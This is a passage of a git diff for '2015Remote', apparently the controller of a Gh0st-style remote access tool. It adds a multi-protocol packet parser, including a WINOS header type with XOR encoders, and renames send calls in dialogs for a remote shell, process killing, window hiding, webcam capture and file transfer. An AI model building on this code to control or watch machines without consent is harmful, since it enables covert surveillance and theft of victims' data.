p[7] == 0 && p[8] == 202 && (p[9] == 0 || p[9] == 1)) { + m_nFlagType = FLAG_WINOS; + compressMethod = COMPRESS_NONE; + memcpy(m_szPacketFlag, p, 10); // 通信密码 + m_nCompareLen = 0; + m_nFlagLen = 0; + m_nHeaderLen = 14; + m_bParsed = TRUE; + m_Encoder = new Encoder(); + m_Encoder2 = new WinOsEncoder(); + return PR{ PARSER_WINOS }; + } + return PR{ PARSER_FAILED }; + } + if (m_bParsed) { // Check if the header has been parsed. + return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED }; + } + // More version may be added in the future. + switch (m_nFlagType = flagType) + { + case FLAG_UNKNOWN: + return PR{ PARSER_FAILED }; + case FLAG_SHINE: + memcpy(m_szPacketFlag, szPacketFlag, 5); + m_nCompareLen = 5; + m_nFlagLen = m_nCompareLen; + m_nHeaderLen = m_nFlagLen + 8; + m_bParsed = TRUE; + m_Encoder = new Encoder(); + m_Encoder2 = new Encoder(); + break; + case FLAG_FUCK: + memcpy(m_szPacketFlag, szPacketFlag, 8); + m_nCompareLen = 8; + m_nFlagLen = m_nCompareLen + 3; + m_nHeaderLen = m_nFlagLen + 8; + m_bParsed = TRUE; + m_Encoder = new XOREncoder(); + m_Encoder2 = new Encoder(); + break; + case FLAG_HELLO: + // This header is only for handling SOCKET_DLLLOADER command + memcpy(m_szPacketFlag, szPacketFlag, 8); + m_nCompareLen = 6; + m_nFlagLen = 8; + m_nHeaderLen = m_nFlagLen + 8; + m_bParsed = TRUE; + compressMethod = COMPRESS_NONE; + m_Encoder = new Encoder(); + m_Encoder2 = new XOREncoder16(); + break; + case FLAG_HELL: + // This version + memcpy(m_szPacketFlag, szPacketFlag, 8); + m_nCompareLen = FLAG_COMPLEN; + m_nFlagLen = FLAG_LENGTH; + m_nHeaderLen = m_nFlagLen + 8; + m_bParsed = TRUE; + m_Encoder = new Encoder(); + m_Encoder2 = new XOREncoder16(); + break; + default: + break; + } + return PR{ m_nFlagLen }; + } + BOOL IsEncodeHeader() const { + return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL; + } + HeaderParser& Reset() { + SAFE_DELETE(m_Encoder); + SAFE_DELETE(m_Encoder2); + memset(this, 0, sizeof(HeaderParser)); + return *this; + } + BOOL IsParsed() const { + return m_bParsed; + } + int GetFlagLen() const { + return m_nFlagLen; + } + int GetHeaderLen() const { + return m_nHeaderLen; + } + const char* GetFlag() const { + return m_szPacketFlag; + } + FlagType GetFlagType() const { + return m_nFlagType; + } + Encoder* GetEncoder() const { + return m_Encoder; + } + Encoder* GetEncoder2() const { + return m_Encoder2; + } +private: + BOOL m_bParsed; // 数据包是否可以解析 + int m_nHeaderLen; // 数据包的头长度 + int m_nCompareLen; // 比对字节数 + int m_nFlagLen; // 标识长度 + FlagType m_nFlagType; // 标识类型 + char m_szPacketFlag[32]; // 对比信息 + Encoder* m_Encoder; // 编码器 + Encoder* m_Encoder2; // 编码器2 +}; + +enum IOType +{ + IOInitialize, + IORead, + IOWrite, + IOIdle +}; + +#define TRACK_OVERLAPPEDPLUS 0 + +class OVERLAPPEDPLUS +{ +public: + + OVERLAPPED m_ol; + IOType m_ioType; + + OVERLAPPEDPLUS(IOType ioType) + { +#if TRACK_OVERLAPPEDPLUS + char szLog[100]; + sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId()); + Mprintf(szLog); +#endif + ZeroMemory(this, sizeof(OVERLAPPEDPLUS)); + m_ioType = ioType; + } + + ~OVERLAPPEDPLUS() + { +#if TRACK_OVERLAPPEDPLUS + char szLog[100]; + sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId()); + Mprintf(szLog); +#endif + } +}; + +typedef struct CONTEXT_OBJECT +{ + CString sClientInfo[ONLINELIST_MAX]; + CString additonalInfo[RES_MAX]; + SOCKET sClientSocket; + WSABUF wsaInBuf; + WSABUF wsaOutBuffer; + char szBuffer[PACKET_LENGTH]; + CBuffer InCompressedBuffer; // 接收到的压缩的数据 + CBuffer InDeCompressedBuffer; // 解压后的数据 + CBuffer OutCompressedBuffer; + HWND hWnd; + HANDLE hDlg; + OVERLAPPEDPLUS* olps; // OVERLAPPEDPLUS + int CompressMethod; // 压缩算法 + HeaderParser Parser; // 解析数据协议 + uint64_t ID; // 唯一标识 + + BOOL m_bProxyConnected; // 代理是否连接 + BOOL bLogin; // 是否 login + std::string PeerName; // 对端IP + int addrLen; // for UDP + sockaddr_in clientAddr; // for UDP + + VOID InitMember(SOCKET s) + { + memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH); + hWnd = NULL; + hDlg = NULL; + sClientSocket = s; + PeerName = ::GetPeerName(sClientSocket); + memset(&wsaInBuf, 0, sizeof(WSABUF)); + memset(&wsaOutBuffer, 0, sizeof(WSABUF)); + olps = NULL; + for (int i = 0; i < ONLINELIST_MAX; i++) { + sClientInfo[i].Empty(); + } + for (int i = 0; i < RES_MAX; i++) { + additonalInfo[i].Empty(); + } + CompressMethod = COMPRESS_ZSTD; + Parser.Reset(); + bLogin = FALSE; + m_bProxyConnected = FALSE; + clientAddr = {}; + addrLen = sizeof(sockaddr_in); + } + VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector& a = {}) { + for (int i = 0; i < ONLINELIST_MAX; i++) + { + sClientInfo[i] = s[i]; + } + for (int i = 0; i < a.size(); i++) { + additonalInfo[i] = a[i].c_str(); + } + } + PBYTE GetBuffer(int offset) { + return InDeCompressedBuffer.GetBuffer(offset); + } + ULONG GetBufferLength() { + return InDeCompressedBuffer.GetBufferLength(); + } + std::string GetPeerName() const { + return PeerName; + } + CString GetClientData(int index) const { + return sClientInfo[index]; + } + void GetAdditionalData(CString(&s)[RES_MAX]) const { + for (int i = 0; i < RES_MAX; i++) + { + s[i] = additonalInfo[i]; + } + } + void CancelIO() { + SAFE_CANCELIO(sClientSocket); + } + BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos) { + return InDeCompressedBuffer.CopyBuffer(pDst, nLen, ulPos); + } + BYTE GetBYTE(int offset) { + return InDeCompressedBuffer.GetBYTE(offset); + } + // Write compressed buffer. + void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen) { + if (Parser.IsParsed()) { + ULONG totalLen = dataLen + Parser.GetHeaderLen(); + BYTE szPacketFlag[32] = {}; + const int flagLen = Parser.GetFlagLen(); + memcpy(szPacketFlag, Parser.GetFlag(), flagLen); + if (Parser.IsEncodeHeader()) + encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]); + OutCompressedBuffer.WriteBuffer((LPBYTE)szPacketFlag, flagLen); + OutCompressedBuffer.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG)); + if (Parser.GetFlagType() == FLAG_WINOS) { + memcpy(szPacketFlag, Parser.GetFlag(), 10); + OutCompressedBuffer.WriteBuffer((PBYTE)Parser.GetFlag(), 10); + } + else { + OutCompressedBuffer.WriteBuffer((PBYTE)&originLen, sizeof(ULONG)); + InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16); + } + Encode2(data, dataLen, szPacketFlag); + OutCompressedBuffer.WriteBuffer(data, dataLen); + } + } + // Read compressed buffer. + PBYTE ReadBuffer(ULONG& dataLen, ULONG& originLen) { + if (Parser.IsParsed()) { + ULONG totalLen = 0; + BYTE szPacketFlag[32] = {}; + InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, Parser.GetFlagLen()); + InCompressedBuffer.ReadBuffer((PBYTE)&totalLen, sizeof(ULONG)); + if (Parser.GetFlagType() == FLAG_WINOS) { + InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, 10); + } + else { + InCompressedBuffer.ReadBuffer((PBYTE)&originLen, sizeof(ULONG)); + } + dataLen = totalLen - Parser.GetHeaderLen(); + PBYTE CompressedBuffer = new BYTE[dataLen]; + InCompressedBuffer.ReadBuffer(CompressedBuffer, dataLen); + Decode2(CompressedBuffer, dataLen, szPacketFlag); + return CompressedBuffer; + } + return nullptr; + } + // Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned. + PR Parse(CBuffer& buf) { + return Parser.Parse(buf, CompressMethod); + } + // Encode data before compress. + void Encode(PBYTE data, int len) const { + Parser.GetEncoder()->Encode((unsigned char*)data, len); + } + // Decode data after uncompress. + void Decode(PBYTE data, int len) const { + Parser.GetEncoder()->Decode((unsigned char*)data, len); + } + // Encode data after compress. + void Encode2(PBYTE data, int len, PBYTE param) const { + Parser.GetEncoder2()->Encode((unsigned char*)data, len, param); + } + // Decode data before uncompress. + void Decode2(PBYTE data, int len, PBYTE param) const { + Parser.GetEncoder2()->Decode((unsigned char*)data, len, param); + } + std::string RemoteAddr() const { + sockaddr_in ClientAddr = {}; + int ulClientAddrLen = sizeof(sockaddr_in); + int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen); + return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""; + } + static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX]) { + int idx[] = { ONLINELIST_IP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, }; + CString s; + for (int i = 0; i < 5; i++) { + s += data[idx[i]] + "|"; + } + s.Delete(s.GetLength() - 1); + return XXH64(s.GetString(), s.GetLength(), 0); + } + uint64_t GetID() const { return ID; } + void SetID(uint64_t id) { ID = id; } +}CONTEXT_OBJECT, * PCONTEXT_OBJECT; + +typedef CList ContextObjectList; + +typedef void (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject); +typedef void (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject); + +class Server +{ +public: + Server(){} + virtual ~Server(){} + + virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) = 0; + + virtual void Send2Client(CONTEXT_OBJECT * ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) = 0; + + virtual void UpdateMaxConnection(int maxConn){} + + virtual void Destroy(){} + + virtual void Disconnect(CONTEXT_OBJECT* ctx) {} +}; diff --git a/server/2015Remote/ServicesDlg.cpp b/server/2015Remote/ServicesDlg.cpp index 8ebd873..756a937 100644 --- a/server/2015Remote/ServicesDlg.cpp +++ b/server/2015Remote/ServicesDlg.cpp @@ -20,7 +20,7 @@ typedef struct ItemData1 } } ItemData1; -CServicesDlg::CServicesDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) +CServicesDlg::CServicesDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject) : DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE) { } @@ -157,7 +157,7 @@ void CServicesDlg::OnServicesStart() void CServicesDlg::OnServicesReflash() { BYTE bToken = COMMAND_SERVICELIST; //刷新 - m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1); + m_iocpServer->Send2Client(m_ContextObject, &bToken, 1); } // 释放资源以后再清空 @@ -254,7 +254,7 @@ void CServicesDlg::ServicesConfig(BYTE bCmd) memcpy(szBuffer + dwOffset, szServiceName, lstrlen(szServiceName)+1); - m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, LocalSize(szBuffer)); + m_iocpServer->Send2Client(m_ContextObject, szBuffer, LocalSize(szBuffer)); LocalFree(szBuffer); } diff --git a/server/2015Remote/ServicesDlg.h b/server/2015Remote/ServicesDlg.h index 81cb577..8374d2d 100644 --- a/server/2015Remote/ServicesDlg.h +++ b/server/2015Remote/ServicesDlg.h @@ -10,7 +10,7 @@ class CServicesDlg : public DialogBase DECLARE_DYNAMIC(CServicesDlg) public: - CServicesDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数 + CServicesDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数 virtual ~CServicesDlg(); int ShowServicesList(void); diff --git a/server/2015Remote/ShellDlg.cpp b/server/2015Remote/ShellDlg.cpp index 7b8e7e4..c9ead59 100644 --- a/server/2015Remote/ShellDlg.cpp +++ b/server/2015Remote/ShellDlg.cpp @@ -25,7 +25,7 @@ void CAutoEndEdit::OnChar(UINT nChar, UINT nRepCnt, UINT nFlags) { IMPLEMENT_DYNAMIC(CShellDlg, CDialog) -CShellDlg::CShellDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) +CShellDlg::CShellDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject) : DialogBase(CShellDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_SHELL) { } @@ -64,7 +64,7 @@ BOOL CShellDlg::OnInitDialog() SetWindowText(str); BYTE bToken = COMMAND_NEXT; - m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); m_Edit.SetWindowTextA(">>"); m_nCurSel = m_Edit.GetWindowTextLengthA(); @@ -206,7 +206,7 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg) return TRUE; } int length = str.GetLength() - m_nCurSel; - m_iocpServer->OnClientPreSending(m_ContextObject, pSrc, length); + m_iocpServer->Send2Client(m_ContextObject, pSrc, length); m_nCurSel = m_Edit.GetWindowTextLength(); } // 限制VK_BACK diff --git a/server/2015Remote/ShellDlg.h b/server/2015Remote/ShellDlg.h index 66ca16e..54d3f00 100644 --- a/server/2015Remote/ShellDlg.h +++ b/server/2015Remote/ShellDlg.h @@ -17,7 +17,7 @@ class CShellDlg : public DialogBase DECLARE_DYNAMIC(CShellDlg) public: - CShellDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); + CShellDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); virtual ~CShellDlg(); VOID OnReceiveComplete(); diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp index d259e87..48575bb 100644 --- a/server/2015Remote/SystemDlg.cpp +++ b/server/2015Remote/SystemDlg.cpp @@ -20,7 +20,7 @@ typedef struct ItemData IMPLEMENT_DYNAMIC(CSystemDlg, CDialog) - CSystemDlg::CSystemDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) + CSystemDlg::CSystemDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject) : DialogBase(CSystemDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE) { m_bHow= m_ContextObject->InDeCompressedBuffer.GetBYTE(0); @@ -285,7 +285,7 @@ void CSystemDlg::OnPlistKill() dwOffset += sizeof(DWORD); } //发送数据到被控端在被控端中查找COMMAND_KILLPROCESS这个数据头 - m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, LocalSize(szBuffer)); + m_iocpServer->Send2Client(m_ContextObject, szBuffer, LocalSize(szBuffer)); LocalFree(szBuffer); Sleep(100); @@ -308,7 +308,7 @@ VOID CSystemDlg::OnPlistRefresh() VOID CSystemDlg::GetProcessList(void) { BYTE bToken = COMMAND_PSLIST; - m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1); + m_iocpServer->Send2Client(m_ContextObject, &bToken, 1); } @@ -321,7 +321,7 @@ void CSystemDlg::OnWlistRefresh() void CSystemDlg::GetWindowsList(void) { BYTE bToken = COMMAND_WSLIST; - m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1); + m_iocpServer->Send2Client(m_ContextObject, &bToken, 1); } @@ -363,7 +363,7 @@ void CSystemDlg::OnWlistClose() auto data = (ItemData*)pListCtrl->GetItemData(nItem); DWORD hwnd = data->ID; //得到窗口的句柄一同发送 4 djfkdfj dkfjf 4 memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //1 4 - m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); } } @@ -387,7 +387,7 @@ void CSystemDlg::OnWlistHide() memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //得到窗口的句柄一同发送 DWORD dHow=SW_HIDE; //窗口处理参数 0 memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); - m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); } } @@ -409,7 +409,7 @@ void CSystemDlg::OnWlistRecover() memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); DWORD dHow=SW_NORMAL; memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); - m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); } } @@ -431,7 +431,7 @@ void CSystemDlg::OnWlistMax() memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); DWORD dHow=SW_MAXIMIZE; memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); - m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); } } @@ -453,7 +453,7 @@ void CSystemDlg::OnWlistMin() memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); DWORD dHow=SW_MINIMIZE; memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); - m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); } } diff --git a/server/2015Remote/SystemDlg.h b/server/2015Remote/SystemDlg.h index c2780a2..59b6c45 100644 --- a/server/2015Remote/SystemDlg.h +++ b/server/2015Remote/SystemDlg.h @@ -9,7 +9,7 @@ class CSystemDlg : public DialogBase DECLARE_DYNAMIC(CSystemDlg) public: - CSystemDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); + CSystemDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); virtual ~CSystemDlg(); VOID GetProcessList(void); diff --git a/server/2015Remote/TalkDlg.cpp b/server/2015Remote/TalkDlg.cpp index 2945ba3..9e86651 100644 --- a/server/2015Remote/TalkDlg.cpp +++ b/server/2015Remote/TalkDlg.cpp @@ -10,7 +10,7 @@ IMPLEMENT_DYNAMIC(CTalkDlg, CDialog) -CTalkDlg::CTalkDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject) +CTalkDlg::CTalkDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject) : DialogBase(CTalkDlg::IDD, pParent, IOCPServer, ContextObject, IDR_MAINFRAME) { } @@ -42,7 +42,7 @@ BOOL CTalkDlg::OnInitDialog() SetIcon(m_hIcon, FALSE); BYTE bToken = COMMAND_NEXT; - m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); return TRUE; // return TRUE unless you set the focus to a control // 异常: OCX 属性页应返回 FALSE @@ -66,7 +66,7 @@ void CTalkDlg::OnBnClickedButtonTalk() m_EditTalk.SetWindowText(NULL); - m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer)); + m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer)); } diff --git a/server/2015Remote/TalkDlg.h b/server/2015Remote/TalkDlg.h index ed4be8a..da5ebfe 100644 --- a/server/2015Remote/TalkDlg.h +++ b/server/2015Remote/TalkDlg.h @@ -9,7 +9,7 @@ class CTalkDlg : public DialogBase DECLARE_DYNAMIC(CTalkDlg) public: - CTalkDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // 标准构造函数 + CTalkDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // 标准构造函数 virtual ~CTalkDlg(); // 对话框数据 diff --git a/server/2015Remote/VideoDlg.cpp b/server/2015Remote/VideoDlg.cpp index a29adb0..e162ad0 100644 --- a/server/2015Remote/VideoDlg.cpp +++ b/server/2015Remote/VideoDlg.cpp @@ -108,7 +108,7 @@ void CVideoDlg::SaveAvi(void) } -CVideoDlg::CVideoDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) +CVideoDlg::CVideoDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject) : DialogBase(CVideoDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_CAMERA) { m_nCount = 0; @@ -208,7 +208,7 @@ BOOL CVideoDlg::OnInitDialog() BYTE bToken = COMMAND_NEXT; - m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); } SetIcon(m_hIcon, TRUE); @@ -304,7 +304,7 @@ void CVideoDlg::InitCodec(DWORD fccHandler) m_pVideoCodec = NULL; // 通知服务端不启用压缩 BYTE bToken = COMMAND_WEBCAM_DISABLECOMPRESS; - m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); GetSystemMenu(FALSE)->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); } } @@ -329,7 +329,7 @@ void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam) BYTE bToken = COMMAND_WEBCAM_ENABLECOMPRESS; if (!bIsChecked) bToken = COMMAND_WEBCAM_DISABLECOMPRESS; - m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); break; } } diff --git a/server/2015Remote/VideoDlg.h b/server/2015Remote/VideoDlg.h index 98e1582..4d6c208 100644 --- a/server/2015Remote/VideoDlg.h +++ b/server/2015Remote/VideoDlg.h @@ -163,7 +163,7 @@ class CVideoDlg : public DialogBase DECLARE_DYNAMIC(CVideoDlg) public: - CVideoDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数 + CVideoDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数 virtual ~CVideoDlg(); LPBITMAPINFO m_BitmapInfor_Full; diff --git a/server/2015Remote/file/CFileManagerDlg.cpp b/server/2015Remote/file/CFileManagerDlg.cpp index 2d0eae9..523098b 100644 --- a/server/2015Remote/file/CFileManagerDlg.cpp +++ b/server/2015Remote/file/CFileManagerDlg.cpp @@ -24,7 +24,7 @@ static UINT indicators[] = { using namespace file; -CFileManagerDlg::CFileManagerDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext) +CFileManagerDlg::CFileManagerDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext) : DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, IDI_File) { m_ProgressCtrl = nullptr; @@ -468,7 +468,7 @@ void CFileManagerDlg::FixedRemoteDriveList() SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); BYTE bPacket = COMMAND_FILE_GETNETHOOD; - m_iocpServer->Send(m_ContextObject, &bPacket, 1); + m_iocpServer->Send2Client(m_ContextObject, &bPacket, 1); } void CFileManagerDlg::fixNetHood(BYTE* pbuffer, int buffersize) @@ -717,7 +717,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory) bPacket[0] = COMMAND_LIST_FILES; memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1); - m_iocpServer->Send(m_ContextObject, bPacket, PacketSize); + m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize); LocalFree(bPacket); m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path); @@ -744,7 +744,7 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult) BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize); bPacket[0] = COMMAND_FILE_GETINFO; memcpy(bPacket + 1, filename.GetBuffer(0), PacketSize - 1); - m_iocpServer->Send(m_ContextObject, bPacket, PacketSize); + m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize); LocalFree(bPacket); } return; @@ -769,7 +769,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) } if (directory.Compare(_T("最近")) == 0) { BYTE byToken = COMMAND_FILE_RECENT; - m_iocpServer->Send(m_ContextObject, &byToken, 1); + m_iocpServer->Send2Client(m_ContextObject, &byToken, 1); return; } m_Remote_Path = directory; @@ -779,7 +779,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) bPacket[0] = COMMAND_LIST_FILES; memcpy(bPacket + 1, directory.GetBuffer(0), PacketSize - 1); - m_iocpServer->Send(m_ContextObject, bPacket, PacketSize); + m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize); LocalFree(bPacket); m_Remote_Directory_ComboBox.InsertString(0, directory); @@ -937,7 +937,7 @@ void CFileManagerDlg::OnRemoteView() void CFileManagerDlg::OnRemoteRecent() { BYTE byToken = COMMAND_FILE_RECENT; - m_iocpServer->Send(m_ContextObject, &byToken, 1); + m_iocpServer->Send2Client(m_ContextObject, &byToken, 1); } void CFileManagerDlg::OnRemoteDesktop() @@ -1131,7 +1131,7 @@ BOOL CFileManagerDlg::SendDownloadJob() // 文件偏移,续传时用 memcpy(bPacket + 1, file.GetBuffer(0), (file.GetLength() + 1) * sizeof(TCHAR)); - m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize); + m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize); LocalFree(bPacket); // 从下载任务列表中删除自己 @@ -1193,7 +1193,7 @@ BOOL CFileManagerDlg::SendUploadJob() memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD)); memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD)); memcpy(bPacket + 9, fileRemote.GetBuffer(0), (fileRemote.GetLength() + 1) * sizeof(TCHAR)); - m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize); + m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize); LocalFree(bPacket); // 从下载任务列表中删除自己 @@ -1221,7 +1221,7 @@ BOOL CFileManagerDlg::SendDeleteJob() // 文件偏移,续传时用 memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1); - m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize); + m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize); LocalFree(bPacket); // 从下载任务列表中删除自己 @@ -1376,7 +1376,7 @@ void CFileManagerDlg::CreateLocalRecvFile() SendStop(TRUE); else { // 发送继续传输文件的token,包含文件续传的偏移 - m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken)); + m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); } } @@ -1439,7 +1439,7 @@ void CFileManagerDlg::WriteLocalRecvFile() bToken[0] = COMMAND_CONTINUE; memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow)); - m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken)); + m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); } } @@ -1534,13 +1534,13 @@ void CFileManagerDlg::EndRemoteDeleteFile() void CFileManagerDlg::SendException() { BYTE bBuff = COMMAND_FILE_EXCEPTION; - m_iocpServer->Send(m_ContextObject, &bBuff, 1); + m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1); } void CFileManagerDlg::SendContinue() { BYTE bBuff = COMMAND_CONTINUE; - m_iocpServer->Send(m_ContextObject, &bBuff, 1); + m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1); } void CFileManagerDlg::SendStop(BOOL bIsDownload) @@ -1552,7 +1552,7 @@ void CFileManagerDlg::SendStop(BOOL bIsDownload) BYTE bBuff[2]; bBuff[0] = COMMAND_STOP; bBuff[1] = bIsDownload; - m_iocpServer->Send(m_ContextObject, bBuff, sizeof(bBuff)); + m_iocpServer->Send2Client(m_ContextObject, bBuff, sizeof(bBuff)); } void CFileManagerDlg::ShowProgress() @@ -1668,7 +1668,7 @@ void CFileManagerDlg::SendTransferMode() BYTE bToken[5]; bToken[0] = COMMAND_SET_TRANSFER_MODE; memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode)); - m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken)); + m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); } void CFileManagerDlg::SendFileData() @@ -1707,7 +1707,7 @@ void CFileManagerDlg::SendFileData() if (nNumberOfBytesRead > 0) { int nPacketSize = 